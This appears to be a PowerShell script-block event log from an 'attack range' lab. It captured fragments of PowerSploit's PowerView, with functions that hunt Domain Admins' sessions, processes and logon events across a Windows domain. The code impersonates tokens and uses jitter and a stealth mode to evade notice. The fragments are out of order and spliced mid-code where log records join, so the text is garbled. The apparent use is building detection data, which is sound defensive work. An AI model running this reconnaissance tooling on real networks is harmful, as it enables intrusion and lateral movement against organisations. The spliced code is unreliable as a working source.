$TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainProcess] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainProcess] No hosts found to enumerate' } # now build the user target set if ($PSBoundParameters['ProcessName']) { $TargetProcessName = @() ForEach ($T in $ProcessName) { $TargetProcessName += $T.Split(',') } if ($TargetProcessName -isnot [System.Array]) { $TargetProcessName = [String[]] @($TargetProcessName) } } elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $GroupSearcherArguments $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $ProcessName, $TargetUsers, $Credential) ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # try to enumerate all active processes on the remote host # and search for a specific process name if ($Credential) { $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue } else { $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue } ForEach ($Process in $Processes) { # if we're hunting for a process name or comma-separated names if ($ProcessName) { if ($ProcessName -Contains $Process.ProcessName) { $Process } } # if the session user is in the target list, display some output elseif ($TargetUsers -Contains $Process.User) { $Process } } } } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential $Result if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainProcess] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'ProcessName' = $TargetProcessName 'TargetUsers' = $TargetUsers 'Credential' = $Credential } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainUserEvent { <# .SYNOPSIS Finds logon events on the current (or remote domain) for the specified users. Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction .DESCRIPTION Enumerates all domain controllers from the specified -Domain (default of the local domain) using Get-DomainController, enumerates the logon events for each using Get-DomainUserEvent, and filters the results based on the targeting criteria. .PARAMETER ComputerName Specifies an explicit computer name to retrieve events from. .PARAMETER Domain Specifies a domain to query for domain controllers to enumerate. Defaults to the current domain. .PARAMETER Filter A hashtable of PowerView.LogonEvent properties to filter for. The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', and is 'or' by default, meaning at least one clause matches instead of all. See the exaples for usage. .PARAMETER StartTime The [DateTime] object representing the start of when to collect events. Default of [DateTime]::Now.AddDays(-1). .PARAMETER EndTime The [DateTime] object representing the end of when to collect events. Default of [DateTime]::Now. .PARAMETER MaxEvents The maximum number of events (per host) to retrieve. Default of 5000. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target computer(s). .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainUserEvent Search for any user events matching domain admins on every DC in the current domain. .EXAMPLE $cred = Get-Credential dev\administrator Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' domain controller using the alternate credential .EXAMPLE 'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} Find user events on the primary.testlab.local system where the event matches the IPAddress '192.168.52.200' or '192.168.52.201'. .EXAMPLE $cred = Get-Credential testlab\administrator Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} Find user events mathing the specified GUID AND the specified TargetLogonId, searching through every domain controller in the current domain, enumerating each DC in serial instead of in a threaded manner, using the alternate credential. .OUTPUTS PowerView.LogonEvent PowerView.ExplicitCredentialLogon .LINK http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [OutputType('PowerView.LogonEvent')] [OutputType('PowerView.ExplicitCredentialLogon')] [CmdletBinding(DefaultParameterSetName = 'Domain')] Param( [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('dnshostname', 'HostName', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName, [Parameter(ParameterSetName = 'Domain')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Hashtable] $Filter, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [DateTime] $StartTime = [DateTime]::Now.AddDays(-1), [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [DateTime] $EndTime = [DateTime]::Now, [ValidateRange(1, 1000000)] [Int] $MaxEvents = 5000, [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $UserDomain, [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Alias('AdminCount')] [Switch] $UserAdminCount, [Switch] $CheckAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { # otherwise we're querying a specific group $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } Write-Verbose "UserGroupIdentity: $UserGroupIdentity" if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } # build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { # if not -ComputerName is passed, query the current (or target) domain for domain controllers $DCSearcherArguments = @{ 'Le66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122637Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3644ameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { throw '[Find-DomainUserLocation] No users found to target' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $Sessions = Get-NetSession -ComputerName $TargetComputer ForEach ($Session in $Sessions) { $UserName = $Session.UserName $CName = $Session.CName if ($CName -and $CName.StartsWith('\\')) { $CName = $CName.TrimStart('\') } # make sure we have a result, and ignore computer$ sessions if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { $UserLocation = New-Object PSObject $UserLocation | Add-Member Noteproperty 'UserDomain' $Null $UserLocation | Add-Member Noteproperty 'UserName' $UserName $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName # try to resolve the DNS hostname of $Cname try { $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName } catch { $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null } # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null } $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') $UserLocation } } } if (-not $Stealth) { # if we're not 'stealthy', enumerate loggedon users as well $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer ForEach ($User in $LoggedOn) { $UserName = $User.UserName $UserDomain = $User.LogonDomain # make sure wet have a result if (($UserName) -and ($UserName.trim() -ne '')) { if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress $UserLocation = New-Object PSObject $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain $UserLocation | Add-Member Noteproperty 'UserName' $UserName $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null # see if we're checking to see if we have local admin access on this machine if ($CheckAccess) { $Admin = Test-AdminAccess -ComputerName $TargetComputer $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null } $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') $UserLocation } } } } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'TargetUsers' = $TargetUsers 'CurrentUser' = $CurrentUser 'Stealth' = $Stealth 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-DomainProcess { <# .SYNOPSIS Searches for processes on the domain using WMI, returning processes that match a particular user specification or process name. Thanks to @paulbrandau for the approach idea. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and queries the domain for users of a specified group (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the function enumerates any current processes running with Get-WMIProcess, searching for processes running under any target user contexts or with the specified -ProcessName. If -Credential is passed, it is passed through to the underlying WMI commands used to enumerate the remote machines. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER Domain Specifies the domain to query for computers AND users, defaults to the current domain. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerUnconstrained Switch. Search computer objects that have unconstrained delegation. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER ProcessName Search for processes with one or more specific names. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainProcess Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. .EXAMPLE Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by privileged users in dev.testlab.local. .EXAMPLE Find-DomainProcess -ProcessName putty.exe Searchings for instances of putty.exe running on the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainProcess -Domain testlab.local -Credential $Cred Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. .OUTPUTS PowerView.UserProcess #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [OutputType('PowerView.UserProcess')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [Alias('Unconstrained')] [Switch] $ComputerUnconstrained, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'TargetProcess')] [ValidateNotNullOrEmpty()] [String[]] $ProcessName, [Parameter(ParameterSetName = 'TargetUser')] [Parameter(ParameterSetName = 'UserIdentity')] [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserDomain, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Parameter(ParameterSetName = 'TargetUser')] [Alias('AdminCount')] [Switch] $UserAdminCount, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLime66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122636Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3544put.ReadAll() } Start-Sleep -Seconds 1 } While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) $SleepSeconds = 100 Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." # cleanup- make sure we didn't miss anything for ($i=0; $i -lt $SleepSeconds; $i++) { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() $Job.PS.Dispose() } Start-Sleep -S 1 } $Pool.Dispose() Write-Verbose "[New-ThreadedFunction] all threads completed" } } function Find-DomainUserLocation { <# .SYNOPSIS Finds domain machines where specific users are logged into. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and queries the domain for users of a specified group (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon The found user list is compared against the target list, and any matches are displayed. If -ShowAll is specified, all results are displayed instead of the filtered set. If -Stealth is specified, then likely highly-trafficed servers are enumerated with Get-DomainFileServer/Get-DomainController, and session enumeration is executed only against those servers. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER Domain Specifies the domain to query for computers AND users, defaults to the current domain. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerUnconstrained Switch. Search computer objects that have unconstrained delegation. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER UserAllowDelegation Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. .PARAMETER CheckAccess Switch. Check if the current user has local admin access to computers where target users are found. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER ShowAll Switch. Return all user location results instead of filtering based on target specifications. .PARAMETER Stealth Switch. Only enumerate sessions from connonly used target servers. .PARAMETER StealthSource The source of target servers to use, 'DFS' (distributed file servers), 'DC' (domain controllers), 'File' (file servers), or 'All' (the default). .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainUserLocation Searches for 'Domain Admins' by enumerating every computer in the domain. .EXAMPLE Find-DomainUserLocation -Stealth -ShowAll Enumerates likely highly-trafficked servers, performs just session enumeration against each, and outputs all results. .EXAMPLE Find-DomainUserLocation -UserAdminCount 